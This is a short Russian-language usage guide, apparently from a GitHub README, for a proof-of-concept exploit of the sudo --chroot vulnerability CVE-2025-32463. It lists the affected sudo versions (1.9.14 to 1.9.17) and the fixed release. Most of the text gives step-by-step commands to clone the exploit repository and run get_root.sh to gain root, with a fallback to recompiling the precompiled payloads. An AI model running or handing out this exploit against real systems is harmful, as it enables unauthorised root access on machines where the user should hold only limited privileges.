
- Уязвимые версии: sudo 1.9.14, 1.9.15, 1.9.16, 1.9.17 — Исправлено в: sudo 1.9.17p1 и более поздних версиях — Устаревшие версии старше 1.9.14 не затронуты, так как они не поддерживают опцию --chroot.
# get_root.sh и get_root.py делают одно и то же.
git clone https://github.com/shazed-x/CVE-2025-32463
cd CVE-2025-32463
./get_root.sh
На целевой машине не требуется gcc. PoC работает путём проверки текущей архитектуры (например, x86_64, aarch64), а затем выполняет соответствующий динамически предкомпилированный payload. Если это не срабатывает, используется статический вариант.
Если эксплойт не срабатывает на вашей машине, вы всё ещё можете скомпилировать его с помощью:
./mkall-dynamic.sh
# затем запустите
./get_root.sh